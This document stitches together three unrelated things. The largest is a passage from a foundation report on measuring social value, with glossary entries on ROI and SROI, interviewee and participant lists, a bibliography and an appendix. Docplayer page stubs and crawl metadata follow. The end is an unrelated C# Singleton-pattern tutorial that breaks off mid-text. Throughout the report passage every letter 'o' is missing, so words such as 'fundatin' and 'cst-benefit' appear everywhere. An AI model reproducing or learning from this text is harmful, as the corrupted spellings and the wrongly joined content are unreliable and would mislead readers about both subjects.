a percent rather than decimal value. ROI is als knwn as rate f prfit. ROI des nt indicate hw lng an investment is held. Hwever, ROI is mst ften stated as a percentage in an annual r annualized rate f return, and it is mst ften stated fr a calendar r fiscal year. 64 ROI is used t cmpare returns n investments where the mney gained r lst r the mney invested is nt easily cmpared using mnetary values. Fr instance, a $1,000 investment that earns $50 in interest bviusly generates mre cash than a 59 Ibid. 62. pp Ibid. 64 Wikipedia. Melinda T. Tuan 32
33 $100 investment that earns $20 in interest, but the $100 investment earns a higher return n investment. $50/$1,000 = 5% ROI $20/$100 = 20% ROI Shadw Prices: Shadw prices are dllar values that are attached t each f the shrt and lng-term utcmes that a scial prgram may affect. Shadw prices are typically used in cst-benefit analyses. In sme cases, such ecnmic values may be readily btained, while in thers, their derivatin may be mre cmplex and subject t debate amng experts. 65 One example f a difficult t btain ecnmic value is the intangible cst f crime fr crime victims. There is n market price fr this intangible item; therefre a shadw price must be develped fr it fr use in a cstbenefit analysis. Scial Impact: (see Impact) Scial Return n Investment (SROI): A term ppularized by REDF in the late 1990s that nw has widespread use in bth the nnprfit and increasingly fr-prfit sectrs fr describing any number f appraches t estimating r calculating the scial utput r utcmes r impact f a prgram r enterprise. There is currently n standard definitin fr SROI althugh it is widely referenced in the wrk f nnprfits, philanthrpy, and scially respnsible businesses. 65 Karly, Lynn A. Valuing Benefits in Benefit-Cst Studies f Scial Prgrams. RAND, p. 3, p. ix. Melinda T. Tuan 33
34 APPENDIX B: LEADING PRACTITIONER AND EXPERT INTERVIEW LIST Persn Affiliatin Tpic Paul Brest, President William and Flra Hewlett Fundatin Hewlett Fundatin Expected Return; Evlutin and applicatin f SROI J. Gregry Dees, Prfessr Fuqua Schl f Business, Duke University Jed Emersn, Managing Directr fr Integrated Perfrmance Uhuru Capital Management Histry f develpment f financial markets, crllary t scial capital market Origins f the fr-prfit and scial capital markets; blended value investing Funding Directr, REDF REDF Scial Return n Investment (SROI) Lynn A. Karly, Ph.D., RAND Crpratin Cst-benefit analysis Senir Ecnmist Authr f MacArthur Cst-effectiveness analysis Fundatin funded study f cst/benefit analysis effrts in valuing scial prgrams Kieran McGrath Frmer Senir Prgram Utilizatin f Rbin Hd Officer, Rbin Hd Benefit-Cst Rati Fundatin Jeremy Nichlls, Fellw The New Ecnmics Evlutin and applicatin f Fundatin SROI Chief Executive, SROI UK Sara Olsen, Funding SVT Grup Evlutin and applicatin f Partner SROI, bubble chart display Kat Rsqueta, Executive Center fr High Impact Center fr High Impact Directr; Kathleen Nnan, Philanthrpy, Schl f Philanthrpy Cst per Impact Assciate Directr; Hilary J. Scial Plicy & methdlgy Rhdes, Ph.D., Research Practice, University f Fellw, U.S. Educatin; Pennsylvania Carl McLaughlin, MD, MPH, Research Directr, Glbal Public Health Peter Schlten, CEO Schlten & Franssen Evlutin f SROI in Eurpe Susan Stut, Recently Wrld Bank s Results Value and challenges f Retired Manager Secretariat cmparing results acrss sectrs, silver bulletism Brian Trelstad, Chief Acumen Fund Acumen Fund Best Available Investment Officer Charitable Optin (BACO) Michael M. Weinstein, Chief Prgram Officer Rbin Hd Fundatin Rbin Hd Fundatin Benefit/Cst Rati Melinda T. Tuan 34
35 APPENDIX C: MEASURING AND/OR ESTIMATING SOCIAL VALUE CREATION MEETING PARTICIPANTS OCTOBER 20 21, 2008 The Bill & Melinda Gates Fundatin wuld like t acknwledge and thank the fllwing leading practitiners and experts and internal fundatin participants fr their thughtful and stimulating participatin in the Scial Value Creatin Meeting. These participants individually and cllectively helped advance the Fundatin s thinking n pragmatic and rigrus ways t measure and/r estimate scial value creatin and have already helped advance the field thrugh their input t this paper. External Participant List Ivan Barkhrn Managing Directr Redstne Strategy Grup Paul Brest President William and Flra Hewlett Fundatin Chris DeCardy Vice President and Directr f Cmmunicatins The David and Lucile Packard Fundatin Jed Emersn Managing Directr fr Integrated Perfrmance Uhuru Capital Management, LLC Lynn A. Karly, PhD Senir Ecnmist RAND Crpratin Christina Leijnhufvud Managing Directr Investment Bank/Scial Sectr Finance JPMrgan Chase Brad Presner Metrics Manager Acumen Fund Kat Rsqueta Executive Directr Center fr High Impact Philanthrpy Susan Stut Retired Manager Wrld Bank Results Secretariat Brian Trelstad Chief Investment Officer Acumen Fund Michael Weinstein Chief Prgram Officer Rbin Hd Fundatin Melinda Tuan Cnsultant Bill & Melinda Gates Fundatin Carl A. McLaughlin, MD, MPH Research Directr, Glbal Public Health Center fr High Impact Philanthrpy Sara Olsen Funding Partner SVT Grup Melinda T. Tuan 35
36 APPENDIX C: MEASURING AND/OR ESTIMATING SOCIAL VALUE CREATION MEETING PARTICIPANTS OCTOBER 20 21, 2008 (cntinued) Fundatin Participant List Rashmir Balasubramaniam Prgram Officer, Water, Sanitatin & Hygiene Glbal Develpment Eleanr Bell Senir IPI Officer Impact Planning and Imprvement Crss Fundatin Jim Brmley Deputy Directr Financial Planning and Analysis Jana Carlisle Senir IPI Officer Impact Planning and Imprvement- United States Michael Deich Directr Plicy & Gvernmental Affairs Brittany Faulkner Senir Assistant Impact Planning and Imprvement Crss Fundatin Elvis Fraser Deputy Directr Impact Planning and Imprvement Crss Fundatin Alex Friedman Chief Financial Officer Gargee Ghsh Sr. Prgram Officer, Develpment Finance & Plicy Glbal Health Kendall Guthrie Interim Deputy Directr Impact Planning and Imprvement United States Kim Hamiltn Deputy Directr, Plicy & Advcacy Glbal Develpment Debrah Jacbs Deputy Directr, Glbal Libraries Glbal Develpment Elisa Mandell Special Plicy Officer Glbal Develpment Sara Meyer IPI Officer Impact Planning and Imprvement- United States Keith Olsn Directr Financial Planning & Analysis Casey Owens Special Assistant t CFO Dan Radcliffe Assciate Prgram Officer Glbal Develpment Abbie Raikes Senir IPI Officer Impact Planning and Imprvement Crss Fundatin Jeff Raikes Chief Executive Officer Melinda T. Tuan 36
37 Amy Ratcliffe Senir IPI Officer Impact Planning and Imprvement Glbal Health Jeffrey Ried Prgram Officer Glbal Develpment Philip Setel Deputy Directr Impact Planning and Imprvement Glbal Health Fay Twersky Directr Impact Planning and Imprvement Melinda T. Tuan 37
38 APPENDIX D: BIBLIOGRAPHY Acumen Fund. Acumen Fund Cncept Paper: The Best Available Charitable Optin (BACO). (Draft). 1/24/07. Acumen Fund. Develping a glbal prtfli data management system: Transparency and accuntability fr the field f private sectr develpment. (Internal cnfidential dcument). Acumen Fund. Investment Discipline. [Available nline] Acumen Fund. Prject Yaz Business Plan: A Scial Enterprise Impact Assessment Platfrm. (Internal cnfidential dcument). Acumen Fund. The Acumen Fund and Ggle Prtfli Data Management System (Internal cnfidential dcument). Aern-Thmas, David, Jeremy Nichlls, Sarah Frster, Andrea Westall. Scial Return n Investment: Valuing What Matters. Findings and Evaluatin frm a Pilt Study. New Ecnmics Fundatin [Available Online] Brest, Paul and Hal Harvey. Assessing Investment Opprtunities in Internatinal Develpment: The Acumen Fund s BACO Analysis. (Unpublished) Brest, Paul and Hal Harvey. Chapter 10: Impact n Sterids: Measuring the Scial Return n Yur Philanthrpic Investment. Mney Well Spent: A Strategic Guide t Smart Philanthrpy. Blmberg Press. Nvember Brest, Paul and Hal Harvey. New Ecnmics Fundatin. (Unpublished) Brest, Paul, Hal Harvey and Kelvin Lw. Calculated Impact. Stanfrd Scial Innvatin Review. Winter Brest, Paul. Re: Hewlett Fundatin s Expected Return Methdlgy t Melinda Tuan, 24 April-14. Center fr High Impact Philanthrpy, Schl f Scial Plicy & Practice, University f Pennsylvania. Children s Literacy Initiative Case Example Draft frm. May 5, Center fr High Impact Philanthrpy, Schl f Scial Plicy & Practice, University f Pennsylvania. What is High Impact Philanthrpy? [Available Online] Melinda T. Tuan 38
39 hrpy_initialcnceptpaperapril2007.pdf draft April 24, Center fr Impact Evaluatin. When Will We Ever Learn? Imprving Lives Thrugh Impact Evaluatin. May Clark, Cathy et al. Duble Bttm Line Prject Reprt: Assessing Scial Impact in Duble Bttm Line Ventures. Methds Catalg. [Available Online] February Enhanced Analytics Initiative. [Available Online] Emersn, Jed. Re: Integrated Cst Appraches t Measuring Scial Impact and REDF s SROI t Melinda Tuan, 1 May Emersn, Jed and Sheila Bnini. Blended Value Executive Summary. [Available Online]. Octber 21, Fuchs, Victr R. Perspective: Mre Variatin In Use Of Care, Mre Flat-Of-The-Curve Medicine Health Affairs. 7 Octber Gair, Cynthia. A Reprt frm the Gd Ship SROI. The Rberts Fundatin [Available Online] REDF Glbal Scial Venture Cmpetitin. GSVC Scial Impact Assessment Guide 3 f 3: Mnetizing Scial Value / SROI. [Available Online] Hecht, Rbert and Raj Shah. Recent Trends and Innvatins in Develpment Assistance fr Health Disease Cntrl Pririties in Develping Cuntries (2nd Editin), ed., New Yrk: Oxfrd University Press. DOI: / /Chpt-13. Huggett, Jn. Business Planning: What it Is and Why it Matters. Pwer Pint Presentatin. The Bridgespan Grup. Page 7. Jamisn, Dean T. et al. Disease Cntrl Pririties in Develping Cuntries (2 nd Editin), ed. New Yrk: Oxfrd University Press. [Available Online] Karly, Lynn A. Re: Cst-Benefit Studies f Scial Prgrams t Melinda Tuan, 20 and 21 May Karly, Lynn A. and James H. Bigelw. The Ecnmics f Investing in Universal Preschl Educatin in Califrnia. RAND, [Available Online]. Melinda T. Tuan 39
40 [Available Online] p Karly, Lynn A. Valuing Benefits in Benefit-Cst Studies f Scial Prgrams. RAND, Kilburn, M. Rebecca and Lynn A. Karly. The Ecnmics f Early Childhd Plicy: What the Dismal Science Has t Say Abut Investing in Children. RAND [Available Online] Lamb, Geff. Financing fr Success: Outline f Wrk. Bill & Melinda Gates Fundatin internal mem. 4/27/07. Lamb, Geff. Fundatin prgrams and additinal surces f finance: Planning fr scale and sustainability. Bill & Melinda Gates Fundatin internal mem. 4/27/07. Levin, Henry M., Gene V. Glass, Gail R. Meister. Cst-Effectiveness f Cmputer- Assisted Instructin. Evaluatin Review, Vl. 11, N. 1, (1987). Levin, Henry M. Waiting fr Gdt: Cst-Effectiveness Analysis in Educatin. New Directins fr Evaluatin, n. 90. Jssey-Bass: Summer Lndn Business Schl. SROI Primer. [Available Online] Masn, Jhn B., David Sanders, Philip Musgrve, Sekirman, and Rae Gallway, "Cmmunity Health and Nutritin Prgrams." Disease Cntrl Pririties in Develping Cuntries (2nd Editin), ed., 1,053-1,074. New Yrk: Oxfrd University Press. DOI: / /Chpt-56. [Available Online] McGrath, Kieran. Re: Rbin Hd Fundatin Benefit-Cst Rati and Use by RHF Prgram Officers t Melinda Tuan, 7 May McLaughlin C., Nnan K., & Rsqueta K. Hw We Calculated Cst Per Impact in Glbal Health Prgrams Malaria. Bednets & Beynd: An Individual Philanthrpist s Guide t Addressing Malaria. Center fr High Impact Philanthrpy, Schl f Scial Plicy & Practice, University f Pennsylvania. Expected release Fall/Winter Measuring and/r Estimating Scial Value Creatin Meeting, Bill & Melinda Gates Fundatin, Seattle, Octber 20-21, Meltzer, David. "Ecnmic Appraches t Valuing Glbal Health Research." Disease Cntrl Pririties in Develping Cuntries (2nd Editin), ed., New Yrk: Oxfrd University Press. DOI: / /Chpt- 7. Musgrve, Philip and Julia Fx-Rushby. Cst-Effectiveness Analysis fr Pririty Setting Disease Cntrl Pririties in Develping Cuntries (2nd Melinda T. Tuan 40
41 Editin), ed., New Yrk: Oxfrd University Press. DOI: / /Chpt-15. Neuhff, Alex and Rbert Searle. Mre Bang fr the Buck. Stanfrd Scial Innvatin Review. Vlume 6, Number 2, Spring pp New Prgressive Calitin. PROI Framewrk. [Available Online] Nichlls, Jeremy. Re: New Ecnmics Fundatin Apprach t SROI t Melinda Tuan, 21 May Olsen, Sara. Re: Integrated Cst Appraches t Measuring Scial Impact t Melinda Tuan, 30 April Olsen, Sara and Jeremy Nichlls. a framewrk fr appraches t sri analysis. May Pisell, Tm. What is the Difference Between Internal Rate f Return (IRR) and ROI? [Available Online] 11_gci ,00.html. Prtney, Paul R. Benefit-Cst Analysis. The Cncise Encyclpedia f Ecnmics. [Available Online] Redstne Strategy Grup, LLC. Making Every Dllar Cunt: Hw Expected Return Can Transfrm Philanthrpy. April 10, [Available Online] Dllar+Cunt.htm. Rhdes, H.J., Nnan, K., and Rsqueta, K. Executive Summary. Pathways t Student Success: A Guide t Translating Gd Intentins int Meaningful Impact. Center fr High Impact Philanthrpy, Schl f Scial Plicy & Practice, University f Pennsylvania. Wrking draft. September 2008 (expected publicatin Fall 2008). Rhdes, H.J., Nnan, K., and Rsqueta, K. Hw We Calculated Cst Per Impact in Educatin. Pathways t Student Success: A Guide t Translating Gd Intentins int Meaningful Impact. Center fr High Impact Philanthrpy, Schl f Scial Plicy & Practice, University f Pennsylvania. Wrking draft. September 2008 (expected publicatin Fall 2008). Rsqueta, Kat, Hilary Rhdes, and Kathleen Nnan. Re: Center fr High Impact Philanthrpy Cst Per Impact Measures and ther Integrated Cst Appraches t Measuring Scial Impact t Melinda Tuan, 8 and 24 May Sadwnik, Bryn. Assessing the Perfrmance and Impact f Scial Enterprises: A Survey f Research Prjects. Demnstrating Value Prject. [Available Online] ject_survey_august_2.pdf. August Melinda T. Tuan 41
42 Schlten, Peter. Re: Scial Return n Investment Develpments Since REDF t Melinda Tuan, 16 September Schlten, Peter, Jeremy Nichlls, Sara Olsen and Brett Galimidi. Scial Return n Investment: A Guide t SROI Analysis. Lenthe Publishers, Setel, Philip. Cst-effectiveness; cst-effectiveness; scial return n investment in Glbal Health. Bill & Melinda Gates Fundatin internal mem, April 8, Stut, Susan. Re: Perspectives n Cst-Benefit Analysis and Cst-Effectiveness Analysis in Glbal Health cmmunicatin t Philip Setel, April The New Ecnmics Fundatin. Measuring Real Value: A DIY Guide t Scial Return n Investment. [Available Online] pdf. May, The Rberts Fundatin. SROI Reprts. The Rberts Fundatin [Available Online] Trelstad, Brian. Measuring What Matters. Presentatin t PRI Makers 2008 Cnference. Trelstad, Brian. Re: Acumen Fund Best Available Charitable Optins (BACO) and Prtfli Data Management System (PDMS) t Melinda Tuan, 30 April Trelstad, Brian. Simple Measures fr Scial Enterprise. Innvatins. Vlume 3, Issue 3, Summer 2008, pp Tuan, Melinda and Julia Jnes. SROI Reprts: Overview and Guide. The Rberts Fundatin [Available Online] U.N. Glbal Cmpact. Wh Cares Wins: Cnnecting Financial Markets t a Changing Wrld. December Weinstein, Michael. Measuring Success: Hw Rbin Hd Estimates the Impact f Grants. (wrking draft) January 31, Weinstein, Michael. Re: Rbin Hd Fundatin Benefit-Cst Rati and Integrated Cst Appraches t Measuring Scial Impact t Melinda Tuan, 23 April 2008; cmmunicatins July, August, September Yamada, Tadataka. Analysis f DALYs and Budget $. Bill & Melinda Gates Fundatin cnfidential draft internal dcument Zerbe, Richard O., Jr. and Allen S. Bellas. A Primer fr Benefit-Cst Analysis. Cheltenham: Edward Elgar Publishing Limited Zerbe, Richard O., Jr., Yram Bauman, and Aarn Finkle. An Aggregate Measure fr Benefit-Cst Analysis. Eclgical Ecnmics. 58 (2006) Melinda T. Tuan 42
43 Zerbe, Richard O., Jr. The Legal Fundatin f Cst-Benefit Analysis. Charlestn Law Review. Vlume 2, Fall 2007, Number 1. Melinda T. Tuan 43
44 APPENDIX O: THE FLAT OF THE CURVE One additinal issue that is relevant t the fundatin has nt been addressed by the prfiled appraches: hw t determine where the flat f the curve lies in measuring the csts and impact f a prgram. The term was ppularized by Dr. Alain Enthven, a prfessr emeritus at Stanfrd Graduate Schl f Business t describe the decreasing benefit f increased health care expenditures beynd a certain level f investment/cst. The term was first used in a natinal defense cntext in the 1960s t describe a pint where even small increases in target destructin capability wuld require enrmus increases in cst. 66 The fllwing graph depicts the flat f the curve and shws the relatinship between health and intensity f care at tw different times, t and n years later ( t + n ). In bth perids, pints A and B represent the level f intensity f care that is at the flat f the curve. At this pint, any further health care prvided des nt actually result in an imprvement in health while it des require increased csts. At any given time, plicy usually invlves chsing between mre care r less; gd decisins require cmparing incremental benefit and incremental cst. 67 Anther way t think f the flat f the curve is as the ppsite f a tipping pint it is the pint at which further investment will nt result in greater scial impact. As the scial sectr cntinues t see its grantmaking as having a catalytic rle in addressing majr scial issues, it will be imprtant fr the sectr t cnsider where the flat f the curve lies fr an issue area r a particular prgram (e.g. eradicating malaria thrugh distributin f bed nets). Indeed, there is a benefit t the scial sectr in 66 Enthven, A.C. and K.W. Smith, Hw Much is Enugh: Shaping the Defense Prgram RAND Fuchs, Victr R. Perspective: Mre Variatin In Use Of Care, Mre Flat-Of-The-Curve Medicine: Why des it ccur? What shuld be dne abut it? Health Affairs. 7 Octber Melinda T. Tuan 44.
A Beginner s Guide to Successfully Securing Grant Funding
A Beginner s Guide t Successfully Securing Grant Funding Intrductin There is a wide range f supprt mechanisms ut there in the funding wrld, including grants, lans, equity investments, award schemes and,
How to Write Program Objectives/Outcomes
Hw t Write Prgram Objectives/Outcmes Objectives Gals and Objectives are similar in that they describe the intended purpses and expected results f teaching activities and establish the fundatin fr assessment., | http://docplayer.net/42484-Measuring-and-or-estimating-social-value-creation-insights-into-eight-integrated-cost-approaches.html | CC-MAIN-2017-34 | refinedweb | 15,948 | 50.67 |
Mashup: XSSDB Share via FacebookShare via TwitterShare via LinkedinShare via Google+Share via RedditShare via Mail XSSDB provides an intelligent way for browsing and learning about different Cross-site scripting, XSS, attack vectors. Track this Mashup Submit a mashup Summary Comments Followers Comments (0) Comment * Leave this field blank Post Comment Followers (0) Track this Mashup Specs Related APIs DabbleDB Tags Application Development, Security URL Mashups using the same API (0) Sorry, no related apis found. Add Mashup Related News Articles /View all 06-05-2014 Developer Experience (DX) is Key to a Successful API OAuth-only Twitter: What it Means for JavaScript Apps OAuth-only Twitter: What it Means for JavaScript Apps Today could be the last day for some web applications built purely with client-side JavaScript and the Twitter API. According to Twitter, Basic Authentication has been permanently shut off, as pr... News Justin Houk Security 08-31-2010 OAuth-only Twitter: What it Means for JavaScript Apps Okidokeys Okidokeys is an auto-lock provider for home doors and locks. Okidokeys allows users to lock and unlock their home or office doors via an application on their smartphone. Public documentation is not... Home Automation 01.05.2015 Grimoire Grimoire provides access to a datastore to help elucidate the Conjure programming language. The datastore contains information regarding symbols, namespaces, and packages within the Closure ecosystem... Application Development 12.26.2014 | http://www.programmableweb.com/mashup/xssdb?tab=comment | CC-MAIN-2015-06 | refinedweb | 232 | 51.48 |
DZone Snippets is a public source code repository. Easily build up your personal collection of code snippets, categorize them with tags / keywords, and share them with the world
Getting Key Press
In Pys60 1.2 there are 3 types for app.body, namely - Canvas - Text - Listbox They can recieve and process key press. In older versions, they all have a bind method:
bind(event_code, callback)
event codes are defined in key_codes module You can import some or all of them
from key_codes import EKeyLeftArrow, EKeySelect, EKey9, EKeyEdit
See <a href=>diagram </a>for 6630. In the latest version, Canvas gains ability to respond to events in more details. You can give it 2 callbacks when creating a Canvas object.
c = Canvas(redraw_callback=None, event_callback=None)
event_callback will get a dict of the key event containing: - 'type': one of EEventKeyDown, EEventKey, or EEventKeyUp - 'keycode': the logical key - 'scancode': the physical key - 'modifier': probably about Shift, Ctrl ? The simplest use is to detect when type=EEventKey and use the 'keycode' value. For advanced use, look at keyviewer.py example. | http://www.dzone.com/snippets/getting-key-press | CC-MAIN-2013-48 | refinedweb | 177 | 54.52 |
29 February 2012 11:49 [Source: ICIS news]
(adds detail throughout)
LONDON (ICIS)--DSM’s fourth-quarter net profit fell by 43% year on year to €85m ($115m), partly on lower earnings from its performance materials business amid a challenging economic environment, the Dutch chemicals producer said on Wednesday.
Net sales in the fourth quarter of 2011 inched up by 1% to €2.23bn, DSM said in a statement.
DSM said that in the fourth quarter of 2011 economic growth in western Europe began to stall.
“The challenging economic environment impacted most materials sciences businesses, which in addition were affected by some inventory adjustments in the value chain,” the company said.
“Economic growth in high growth economies continued to be strong, but measures taken to manage emerging inflation, especially in ?xml:namespace>
However, the group’s Nutrition segment was not impacted by the economic headwinds, DSM said.
Nutrition’s fourth-quarter sales increased 14% year on year to €865m driven by the acquisition of
The segment’s earnings before interest, tax, depreciation and amortisation (EBITDA) in the fourth quarter grew by 18% to €193m.
Fourth-quarter sales in the group’s Pharma business fell 13% year on year – while its EBITDA dropped to €11m from €26m in the same period of 2010 – after DSM consolidated its anti-infective joint venture, DSM Sinochem Pharmaceuticals, it said.
In the group’s Performance Materials segment, fourth-quarter sales were down 2.0% to €627m because of lower volumes (-15%) in all businesses, which were only partly compensated for by higher pricing. The segment’s EBITDA fell 23% to €43m, mainly because of the lower performance of its subsidiary, DSM Dyneema.
DSM’s Polymer Intermediates segment reported a 22% year-on-year rise in sales to €467m in the fourth quarter, while its EBITDA rose 18% year on year to €79m.
The company said its Polymer Intermediates segment continued to benefit from a high global utilization rate, with prices 8% above the same quarter last year.
“Volumes were 12% higher due to improved manufacturing performance [compared with the fourth quarter last year],” it added.
For the whole of 2011, DSM net profit increased by 61% to €814m, with net sales up by 1.6% to €9.19bn, it said.
EBITDA at its Polymer Intermediates operations in 2011 jumped 70% year on year to €380m, while its Performance Materials segment earnings grew 3.5%, the company said.
“2011 was another strong year for DSM despite the challenges of the global economy, adverse currency movements and high raw material costs,” said Feike Sijbesma, CEO and chairman of the DSM Managing Board.
DSM said it is currently experiencing a weak economic environment, especially in
“Trading conditions in Materials Sciences continue to be volatile and the end market outlook is uncertain owing to weak consumer sentiment in some of DSM’s key geographies. However, based on current insights EBITDA of the Performance Materials cluster is expected to be somewhat higher than in 2011,” it said.
“For Polymer Intermediates another strong year is expected, at a level above the historical average, but EBITDA will be clearly lower than the exceptional result in 2011. In 2012 three planned turnarounds in caprolactam, one in Q1 2012 and two more in Q3 2012, will also impact the results,” it added.
($1 = €0.74) | http://www.icis.com/Articles/2012/02/29/9536783/dsms-q4-net-profit-falls-43-in-tough-economic-environment.html | CC-MAIN-2015-06 | refinedweb | 551 | 50.16 |
Hey, Scripting Guy! How can I save all my contacts as VCards?-- ET
Hey, ET. You know, we have to tell you the truth: after nearly 800 Hey, Scripting Guy! articles the Scripting Guy who writes this column is beginning to get a little burnt-out. Fortunately, the Scripting Editor has often volunteered to do the column for him, and the Scripting Guy who writes this column has decided to take her up on that generous offer. Therefore, and without any further adieu, let’s turn today’s Hey, Scripting Guy! over to the Scripting Editor:
Hey, ET. Oh, ET: I get it; that was, like, the name of that Martian guy, right? That’s, like, really funny, you know, I mean, I can’t, like, wait to tell Cassandra.
Um, so, anyway, ET (tee-hee!), you know, it sounds like you want to save your contacts as …something … oh, wait, I know: you want to save your contacts as, like, VCards, right?. So, like, do you have any idea what VCards are, you know, I mean, are they, like, better than contacts, so, like, maybe that’s why you want to save your contacts as those card thingies? I mean, because I really like contacts, you know, like, my friend, Jessica, she has these contacts that can, like, make her eyes look like different colors, you know, like, on Monday, you know, maybe she has, like blue eyes, and then, like, on Tuesday or whatever she changes contacts and, like, suddenly it looks like she has green eyes, and, like, that is way cool, you know, and like Jessica’s boyfriend, Todd, Todd’s like, “Wow, it’s like I have a different girlfriend every day of the week!” and I’m thinking, I wish you did have a different girlfriend every day of the week, because Todd is a real hunk and I would totally go out with him except, like, Jessica’s my friend, you know, so I guess that wouldn’t be very cool, you know? So anyway, contacts are awesome but, like, maybe these VCards, whatever they are, well, like, maybe they’re better, you know?
OK, thank you, Scripting Editor. That helped; the Scripting Guy who writes this column suddenly feels much better and much more refreshed now. In fact, we’ll tell you what: why don’t you finish doing whatever Scripting Editors do, and we’ll show ET how to – um, yes, we get it, although we don’t believe the real ET was actually a Martian. Anyway, why don’t you go do whatever it is you do and we’ll show ET a script that can save all his contacts as VCards:
On Error Resume Next
Const olFolderContacts = 10
Const olVCard = 6
Set objOutlook = CreateObject("Outlook.Application")
Set objNamespace = objOutlook.GetNamespace("MAPI")
Set colContacts = objNamespace.GetDefaultFolder(olFolderContacts).Items
For Each objContact In colContacts
strName = objContact.FirstName & objContact.LastName
strPath = "C:\Test\" & strName & ".vcf"
objContact.SaveAs strpath, olVCard
As you can see, ET, the script – sorry; just a second. Yes, those shoes are darling, just darling. And they look totally awesome with that sweater.
Totally.
Anyway, as we were saying, the script starts out by implementing the On Error Resume Next statement. Whenever we work with contacts we’re prone to getting somewhat-inexplicable errors from time-to-time, errors that, to be honest, don’t make a lot of sense to us; for example, the script might fail, complaining that a valid contact property (like FirstName) isn’t a valid property after all. We’re not sure if this is a generic problem or if it just has something to do with our copy of Outlook; however, tossing in the On Error Resume Next statement seems to take care of the problem, so we did that here just as a precaution.
Our first real bit of coding is to define a pair of constants: olFolderContacts, which tells the script which Outlook folder we want to work with; and olVCard, which tells the script the file format to use when saving the contact information. After defining the constants we create an instance of the Outlook.Application object, then use the following line of code to bind to the MAPI namespace (a required step, even though the MAPI namespace is the only namespace we can bind to):
Set objNamespace = objOutlook.GetNamespace("MAPI")
Once we’ve successfully connected to Outlook we can then use the following line of code and the GetDefaultFolder method to retrieve a collection of all the items found in the Contacts folder:
Set colContacts = objNamespace.GetDefaultFolder(olFolderContacts).Items
That was, like, way easy, you know?
Sorry; we couldn’t resist.
Actually, that was way easy and, best of all, the rest of the script is just as easy. Our next chore is to set up a For Each loop to loop through the collection of contacts. As everyone knows – well, OK, as most people know – VCard is just another file format; consequently, that means that we can’t save contact information as a VCard unless we specify the complete file path for this new file. We decided to create a file name based on the contact’s first name and last name; thus we use this line of code to assign the values of the FirstName and LastName properties to a variable christened strName:
strName = objContact.FirstName & objContact.LastName
If we have a contact named Ken Myer that’s going to result in a file name that looks like this:
KenMyer
Once we have a unique file name we can then construct the complete path:
strPath = "C:\Test\" & strName & ".vcf"
Nothing too fancy here: we’re just combing the folder path C:\Test\ with the value of the variable strName and .vcf, which represents the file extension (because VCards use a .VCF file extension). From there we go ahead and create a VCard for our first contact, something we do by calling the SaveAs method, passing the file path (the variable strPath) and the constant olVCard as the two method parameters:
objContact.SaveAs strpath, olVCard
Important. Because creating a VCard requires you to access the contact’s email address this script won’t just run the moment you kick it off; instead, Outlook is going to pop up a message informing you that the script is trying to access address data and ask if you want to allow this access. You must answer “Yes” (or “Allow”) in order for the script to run. And, sadly, there’s no way – short of reconfiguring your Exchange setup – to bypass or automate the process of answering this message box. Just something to keep in mind.
After that we loop around and repeat the process with the next contact in the collection. When all is said and done the folder C:\Test should include a bunch of files similar to these:
KenMyer.vcf
JonathanHaas.vcf
PilarAckerman.vcf
That should do it, ET. And now we’ll let the Scripting Editor have the final word on today’s column:
Um, like, you know?
Thank you, Scripting Editor; we couldn’t have said it better ourselves.
Editor’s Note: Given that the Scripting Editor didn’t sound like a ditzy teenager even when she was a teenager (which really wasn’t that long ago, by the way), we’re not sure where the Scripting Guy who writes this column got the preceding text. What we are sure of is that the Scripting Guy who writes this column will be apologizing profusely for painting the Scripting Editor in such a poor light, just as soon as he’s done washing her car…and cleaning her office…and walking her dog…and bringing her donuts for breakfast every morning for the rest of her life….
thanks | http://blogs.technet.com/b/heyscriptingguy/archive/2007/07/24/how-can-i-save-all-my-contacts-as-vcards.aspx | CC-MAIN-2014-52 | refinedweb | 1,299 | 66.57 |
The only way to get state in your application is by connecting it to a component or grabbing it in an action.
import { state, moduleState } from 'cerebral' function someAction({ get }) { const stateAtSomePath = get(state`some.path`) // Get from module running this execution const stateAtModulePath = get(moduleState`isLoading`) }
The only way to update the state of your application is in an action. Here is a list of all possible state mutations you can do:
function someAction({ store }) { // Concats passed array to existing array store.concat('some.path', ['someValueA', 'someValueB']) // Increment value at given path (default increment is 1) store.increment('some.path', 1) // Merge the keys and their values into existing object. Handled as a // change on all paths merged in store.merge('some.path', { some: 'value' }) // Removes last item in array store.pop('some.path') // Pushes a value to the end of the array store.push('some.path', 'someValue') // Set or replace a value store.set('some.path', 'someValue') // Removes first item in array store.shift('some.path') // Splices arrays store.splice('some.path', 2, 1) // Toggle a boolean value store.toggle('some.path') // Unset a key and its value store.unset('some.path') // Puts the value at the beginning of the array store.unshift('some.path', 'someValue') // To change state of a module, use the moduleState tag store.set(moduleState`foo`, 'bar') }
NOTE! You should not extract state and change it directly in your actions or components. This will not be tracked by Cerebral. That means a render will not be triggered and the debugger will not know about it. Treat your state as if it was immutable and only change it using the store API.
When building an application you often need to keep things like files and blobs in your state for further processing. Cerebral supports these kinds of values because they will never change, or changing them can be used with existing store API. This is the list of supported types:
If you want to force Cerebral to support other types as well, you can do that with a devtools option. This is perfectly okay, but remember all state changes has to be done through the store API. | https://cerebraljs.com/docs/api/state.html | CC-MAIN-2019-26 | refinedweb | 362 | 66.94 |
The Singleton design pattern is arguably one of the most commonly used patterns in practice today. In this article, I'll show you how to use this pattern to properly manage unmanaged and exhaustible resources when they are used from a C# environment.
To get the greatest benefit from this article, you should have a basic familiarity with the C# language as well as traditional object-oriented design techniques. It is also assumed that you are comfortable with the implementation of the Singleton pattern as it will be given only a brief treatise here. Those unfamiliar with the Singleton pattern can find a very good introduction here.
The Singleton project consists of two key files: ImageWrapper.cs which implements the Singleton pattern and applies it to the consumption of unmanaged or exhaustible resources, and Program.cs which is a simple driver program meant to demonstrate the use of this project. The project also includes Sunset.jpg which will serve as a simple example of an unmanaged resource.
Simply build and run the project, and you will see a console window informing you that three instances of the ImageWrapper class have been instantiated. In actuality, what has happened is that the singleton ImageWrapper has had three references associated with its one and only instance. This means that while three different references actually have use of the Sunset.jpg image file, only one instance of the Sunset.jpg image has actually been created in memory. This leads to a much leaner use of available memory.
ImageWrapper
So, let's talk briefly about the Singleton pattern. The Singleton is a very simple, standard design pattern intended for the sole purpose of ensuring that one and only one instance of a given class is ever instantiated. Note that the consuming classes may obtain as many references as they wish to the said class, only that each reference is guaranteed to always point back to the same original instantiation (think static variables shared between classes).
